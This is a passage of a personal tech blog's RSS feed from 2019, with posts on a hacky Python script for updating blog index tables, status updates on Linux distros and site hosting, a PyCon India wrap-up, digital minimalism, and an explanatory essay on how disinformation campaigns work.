683this is what I ended up on, ultimately:</p>
684
685<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
686
687<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
688<span class="kn">import</span> <span class="nn">os</span>
689<span class="kn">import</span> <span class="nn">fileinput</span>
690<span class="kn">import</span> <span class="nn">sys</span>
691
692<span class="c1"># change our cwd</span>
693<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">"bin"</span><span class="p">)</span>
694
695<span class="n">blog</span> <span class="o">=</span> <span class="s2">"../pages/blog/"</span>
696
697<span class="c1"># get the most recently created file</span>
698<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
699 <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">"_index.md"</span><span class="p">,</span> <span class="s2">"feed.xml"</span><span class="p">]]</span>
700 <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
701 <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
702
703<span class="c1"># adding an entry to the markdown table</span>
704<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
705 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span>
706 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
707 <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
708 <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| --- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
709 <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
710
711 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
712 <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
713
714<span class="c1"># editing the md source in-place</span>
715<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
716 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/blog/_index.md"</span>
717 <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
718 <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
719 <span class="k">if</span> <span class="s2">"--:"</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
720 <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
721 <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">),</span>
722
723
724<span class="c1"># fetch title and date</span>
725<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">"metadata"</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
726<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
727<span class="n">url</span> <span class="o">=</span> <span class="s2">"/blog/"</span> <span class="o">+</span> <span class="n">fname</span>
728<span class="n">line</span> <span class="o">=</span> <span class="n">f</span><span class="s2">"| [{meta['title']}]({url}) | `{meta['date']}` |"</span>
729
730<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
731<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
732</code></pre></div>
733
734<p>I’m going to skip explaining this one out, but in essence, it’s <strong>one
735massive hack</strong>. And in the end, that’s my point exactly. It’s very
736hacky, but the sheer amount I learnt by writing this ~50
737line script can’t be taught anywhere.</p>
738
739<p>This was partially how
740<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
741intended to be a script to build my site, but grew into a full-blown
742Python package. I could’ve just
743used an off-the-shelf static site generator
744given that there are <a href="https://staticgen.com">so many</a> of them, but
745I chose to write one myself.</p>
746
747<p>And that just about sums up what I wanted to say. The best and most fun
748way to learn to code – write hacky scripts. You heard it here.</p>
749]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since
750they were never weekly and—let’s be honest—they aren’t going to be.
751These posts are, henceforth, just “Status updates”. The date range can
752be inferred from the post date.</p>
753
754<p>That said, here’s what I’ve been up to!</p>
755
756<h2 id="void-linux">Void Linux</h2>
757
758<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
759really. The very comfy <code>apk</code>, ultra mnml system… but having to
760maintain a chroot for my glibc needs was getting way too painful. And
761the package updates are so slow! Heck, they’re still on kernel 4.xx on
762their supposed “bleeding” <code>edge</code> repo.</p>
763
764<p>So yes, Void Linux it is. Still a very clean system. I’m loving it.
765I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
766(-95 mV). Can’t say for sure if there’s a noticeable difference in
767battery life though. I’ll see if I can run some tests.</p>
768
769<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
770
771<h2 id="pycon">PyCon</h2>
772
773<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
774
775<h2 id="this-website">This website</h2>
776
777<p>I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time
778using Netlify, though. I used to host my old blog which ran Hugo, there.
779I was tired of doing this terrible hack to maintain a single repo for
780both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here’s
781what I did:</p>
782
783<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
784
785git push origin master
786<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
787git subtree push --prefix build origin gh-pages
788</code></pre></div>
789
790<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
791by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
792build</code>. Very pleasant.</p>
793
794<h2 id="mnmlwms-status"><code>mnmlwm</code>’s status</h2>
795
796<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
797window manager written in Nim. I’d taken a break from it for a while
798because Xlib is such a pain to work with (or I’m just dense). Anyway,
799I’m planning on getting back to it, with some fresh inspiration from
800Dylan Araps’ <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
801
802<h2 id="other">Other</h2>
803
804<p>I’ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
805Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
806started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the
807<a href="/reading">reading log</a>.</p>
808
809<p>That’s about it, and I’ll see you – definitely not next week.</p>
810]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
811weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India.
812It was my first PyCon, <em>and</em> my first ever talk at a major conference!
813This is an account of the all the cool stuff I saw, people I met and the
814talks I enjoyed.
815Forgive the lack of pictures – I prefer living the moment through my
816eyes. </p>
817
818<h2 id="talks">Talks</h2>
819
820<p>So much ML! Not that it’s a bad thing, but definitely interesting to
821note. From what I counted, there were about 17 talks tagged under “Data
822Science, Machine Learning and AI”. I’d have liked to see more talks
823discussing security and privacy, but hey, the organizers can only pick
824from what’s submitted. ;)</p>
825
826<p>With that point out of the way, here are some of the talks I really liked:</p>
827
828<ul>
829<li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
830<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
831<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
832<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
833<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
834keynote</li>
835</ul>
836
837<h2 id="my-talk">My talk (!!!)</h2>
838
839<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
840our smart lock security research. Agreed, it might have been less
841“hardware” and more of a bug on the server-side, but that’s the thing
842about IoT right? It’s so multi-faceted, and is an amalgamation of so
843many different hardware and software stacks. But, anyway…</p>
844
845<p>I was reassured by folks after the talk that the silence during Q/A was
846the “good” kind of silence. Was it really? I’ll never know.</p>
847
848<h2 id="some-nice-people-i-met">Some nice people I met</h2>
849
850<ul>
851<li><a href="https://twitter.com/abhirathb">Abhirath</a> – A 200 IQ lad. Talked to
852me about everything from computational biology to the physical
853implementation of quantum computers.</li>
854<li><a href="https://twitter.com/meain_">Abin</a> – He recognized me from my
855<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
856awesome.</li>
857<li><a href="https://twitter.com/h6165">Abhishek</a></li>
858<li>Pradyun and Vikrant (linked earlier)</li>
859</ul>
860
861<p>And a lot of other people doing really great stuff, whose names I’m
862forgetting.</p>
863
864<h2 id="pictures">Pictures!</h2>
865
866<p>It’s not much, and
867I can’t be bothered to format them like a collage or whatever, so I’ll
868just dump them here – as is.</p>
869
870<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
871<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
872<img src="/static/img/me_talking.jpg" alt="me talking" />
873<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
874
875<h2 id="cest-tout">C’est tout</h2>
876
877<p>Overall, a great time and a weekend well spent. It was very different
878from your typical security conference – a lot more <em>chill</em>, if you
879will. The organizers did a fantastic job and the entire event was put
880together really well.
881I don’t have much else to say, but I know for sure that I’ll be
882there next time.</p>
883
884<p>That was PyCon India, 2019.</p>
885]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
886subject. But this is inherently different, since it’s <em>my</em> opinion on
887the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
888
889<p>According to me, minimalism can be achieved on two primary fronts –
890the phone & the computer. Let’s start with the phone. The daily carry.
891The device that’s on our person from when we get out of bed, till we get
892back in bed.</p>
893
894<h2 id="the-phone">The phone</h2>
895
896<p>I’ve read about a lot of methods people employ to curb their phone
897usage. Some have tried grouping “distracting” apps into a separate
898folder, and this supposedly helps reduce their usage. Now, I fail to see
899how this would work, but YMMV. Another technique I see often is using
900a time governance app—like OnePlus’ Zen Mode—to enforce how much
901time you spend using specific apps, or the phone itself. I’ve tried this
902for myself, but I constantly found myself counting down the minutes
903after which the phone would become usable again. Not helpful.</p>
904
905<p>My solution to this is a lot more brutal. I straight up uninstalled the
906apps that I found myself using too often. There’s a simple principle
907behind it – if the app has a desktop alternative, like Twitter,
908Reddit, etc. use that instead. Here’s a list of apps that got nuked from
909my phone:</p>
910
911<ul>
912<li>Twitter</li>
913<li>Instagram (an exception, no desktop client)</li>
914<li>Relay for Reddit</li>
915<li>YouTube (disabled, ships with stock OOS)</li>
916</ul>
917
918<p>The only non-productive app that I’ve let remain is Clover,
919a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
920holds up. I’ve also allowed my personal messaging apps to remain, since
921removing those would be inconveniencing others.</p>
922
923<p>I must admit, I often find myself reaching for my phone out of habit
924just to check Twitter, only to find that its gone. I also subconsciously
925tap the place where its icon used to exist (now replaced with my mail
926client) on my launcher. The only “fun” thing left on my phone to do is
927read or listen to music. Which is okay, in my opinion.</p>
928
929<h2 id="the-computer">The computer</h2>
930
931<p>I didn’t do anything too nutty here, and most of the minimalism is
932mostly aesthetic. I like UIs that get out of the way. </p>
933
934<p>My setup right now is just a simple bar at the top showing the time,
935date, current volume and battery %, along with my workspace indicators.
936No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
937try to force myself to not use stuff – after all, I’ve reduced it
938elsewhere. :)</p>
939
940<p>Now the question arises: Is this just a phase, or will I stick to it?
941What’s going to stop me from heading over to the Play Store and
942installing those apps back? Well, I never said this was going to be
943easy. There’s definitely some will power needed to pull this off.
944I guess time will tell.</p>
945]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
946uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
947since then. Let’s get right into it!</p>
948
949<h2 id="my-switch-to-alpine">My switch to Alpine</h2>
950
951<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
952
953<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
954<span class="m">3817</span>
955
956<span class="c1"># or something in that ballpark</span>
957</code></pre></div>
958
959<p>I’ve been wanting to reduce my system’s package count.</p>
960
961<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
962sane package manager. I did come across Dylan Araps’
963<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
964for me (and still relatively new). I finally settled on
965<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
966
967<blockquote>
968 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
969 on musl libc and busybox.</p>
970</blockquote>
971
972<p>The installation was a breeze, and I was quite surprised to see WiFi working
973OOTB. In the past week of my using this distro, the only major hassle I faced
974was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
975yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
976soon. (hint: it involves chroots)</p>
977
978<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
979
980<h2 id="packaging-for-alpine">Packaging for Alpine</h2>
981
982<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
983– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
984repository if you’re interested. I’m currently working on packaging Nim too, so
985keep an eye out for that in the coming week.</p>
986
987<h2 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h2>
988
989<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
990going to be speaking at PyCon India about our recent smart lock security
991research. The conference is happening in Chennai, much to our convenience.
992If you’re attending too, hit me up on Twitter and we can hang!</p>
993
994<h2 id="other">Other</h2>
995
996<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
997strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
998week, for sure.</p>
999
1000<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
1001I think I like it? I still find myself coming back to metalcore/deathcore.
1002Here’s a list of artists I discovered (and liked) recently:</p>
1003
1004<ul>
1005<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
1006<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
1007<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
1008<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
1009<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
1010</ul>
1011
1012<p>That’s it for now, I’ll see you next week!</p>
1013
1014<div class="footnotes">
1015<hr />
1016<ol>
1017<li id="fn-1">
1018<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1019</li>
1020</ol>
1021</div>
1022]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
1023and to serve as a log of how I’m using my time. In theory, I will write this post
1024every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
1025a format for this, but it will probably include a quick summary of the work I did,
1026things I read, IRL stuff, etc.</p>
1027
1028<p>With the meta stuff out of the way, here’s what went down last week!</p>
1029
1030<h2 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h2>
1031
1032<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
1033the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
1034It creates a small community of sites and enables sharing of traffic among these sites.
1035The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
1036of those sites are beautiful. Mine pales in comparison.</p>
1037
1038<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
1039called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
1040and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
1041twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
1042
1043<p>Which brings me to the next thing I did this/last week.</p>
1044
1045<h2 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h2>
1046
1047<p>I’m not a fan of the official Python client, because you know, Python is bloat.
1048As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
1049authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
1050It’s not entirely useable as of yet, but it’s definitely getting there, with the help
1051of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
1052
1053<h2 id="other">Other</h2>
1054
1055<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
1056Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
1057It’s pretty good – each episode is only about 30 mins and it hits the sweet spot,
1058delvering both interesting security content and news.</p>
1059
1060<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
1061“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
1062
1063<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
1064easy to pick up. Learning the Cyrillic script will require some relearning, especially
1065with letters like в, н, р, с, etc. that look like English but sound entirely different.
1066I think I’m pretty serious about learning this language – I’ve added the Russian keyboard
1067to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
1068layout to my keyboard map too:</p>
1069
1070<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
1071</code></pre>
1072
1073<p>With that ends my weekly update, and I’ll see you next week!</p>
1074]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
1075According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
1076<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
1077derived from the title of a KGB black propaganda department.</p>
1078
1079<blockquote>
1080 <p>Disinformation is false information spread deliberately to deceive.</p>
1081</blockquote>
1082
1083<p>To fully understand disinformation, especially in the modern age, we need to understand the
1084key factors of any successful disinformation operation:</p>
1085
1086<ul>
1087<li>creating disinformation (what)</li>
1088<li>the motivation behind the op, or its end goal (why)</li>
1089<li>the medium used to disperse the falsified information (how)</li>
1090<li>the actor (who)</li>
1091</ul>
1092
1093<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
1094
1095<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
1096forms – “info op” & “disinfo”.</p>
1097
1098<h2 id="creating-disinformation">Creating disinformation</h2>
1099
1100<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
1101of any disinformation sample is a huge indicator of the level of sophistication of the
1102actor involved, i.e. is it a 12 year old troll or a nation state?</p>
1103
1104<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
1105The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
1106To achieve this, the target — be it an individual, a specific demographic or an entire
1107nation — must be well researched. A deep understanding of the target’s culture, history,
1108geography and psychology is required. It also needs circumstantial and situational awareness,
1109of the target.</p>
1110
1111<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
1112recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
1113
1114<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
1115imagery:</p>
1116
1117<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
1118<p lang="en" dir="ltr">Disinformation.
1119<br><br>
1120The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
1121<br><br>Recontextualisation as threat vector.
1122<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
1123</p>— thaddeus e. grugq (@thegrugq)
1124<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
1125</blockquote>
1126
1127<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
1128
1129<h2 id="motivations-behind-an-information-operation">Motivations behind an information operation</h2>
1130
1131<p>I like to broadly categorize any info op as either proactive or reactive.
1132Proactively, disinformation is spread with the desire to influence the target
1133either before or during the occurence of an event. This is especially observed
1134during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
1135In offensive information operations, the target’s psychological state can be affected by
1136spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
1137
1138<p>Reactive disinformation is when the actor, usually a nation state in this case,
1139screws up and wants to cover their tracks. A fitting example of this is the case
1140of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
1141eastern Ukraine. This tragic incident has been attributed to Russian-backed
1142separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
1143Russian media is known to have desseminated a number of alternative & some even
1144conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
1145Investigation Team) investigations pointed towards the separatists.
1146The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
1147potentially correct information takes a credibility hit.</p>
1148
1149<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
1150in totalitarian regimes; when the government decides what the media portrays to the
1151masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
1152
1153<blockquote>
1154 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
1155 namely from the United States, and what they have called criminal Hong Kong thugs.
1156 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
1157 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
1158 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
1159 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
1160 …</p>
1161</blockquote>
1162
1163<h2 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h2>
1164
1165<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
1166play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
1167popularity.</p>
1168
1169<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
1170generate activity programmatically via the API, Twitter bots are the go-to choice today for
1171info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
1172to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
1173get realtime insights into what sticks and what doesn’t.
1174The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
1175factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
1176to create discussions about alternative theories.</p>
1177
1178<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
1179actively invest in creating group chats to spread political messages and memes. These parties
1180have volunteers whose sole job is to sit and forward messages.
1181Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
1182this is disinformation without a motive, or the motive is hard to determine simply because
1183the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
1184This is a difficult problem to combat, especially given the nature of the target audience.</p>
1185
1186<h2 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h2>
1187
1188<p>I doubt this requires further elaboration, but in short:</p>
1189
1190<ul>
1191<li>nation states and their intelligence agencies</li>
1192<li>governments, political parties</li>
1193<li>other non/quasi-governmental groups</li>
1194<li>trolls</li>
1195</ul>
1196
1197<p>This essentially sums up the what, why, how and who of disinformation. </p>
1198
1199<h2 id="personal-opsec">Personal OPSEC</h2>
1200
1201<p>This is a fun one. Now, it’s common knowledge that
1202<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
1203afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
1204lead to your OPSEC being compromised.
1205So if you really have to, you can feign activity using disinformation. For example,
1206pick a place, and throw in subtle details pertaining to the weather, local events
1207or regional politics of that place into your disinfo. Assuming this is Twitter, you can
1208tweet stuff like:</p>
1209
1210<ul>
1211<li>“Ugh, when will this hot streak end?!”</li>
1212<li>“Traffic wonky because of the Mardi Gras parade.”</li>
1213<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
1214</ul>
1215
1216<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
1217
1218<p>And please, don’t do this:</p>
1219
1220<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
1221
1222<h2 id="conclusion">Conclusion</h2>
1223
1224<p>The ability to influence someone’s decisions/thought process in just one tweet is
1225scary. There is no simple way to combat disinformation. Social media is hard to control.
1226Just like anything else in cyber, this too is an endless battle between social media corps
1227and motivated actors.</p>
1228
1229<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
1230folks see the truth in a post-truth world.</p>
1231
1232<div class="footnotes">
1233<hr />
1234<ol>
1235<li id="fn-1">
1236<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1237</li>
1238
1239<li id="fn-2">
1240<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1241</li>
1242
1243<li id="fn-3">
1244<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1245</li>
1246
1247<li id="fn-4">
1248<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
1249</li>
1250
1251<li id="fn-5">
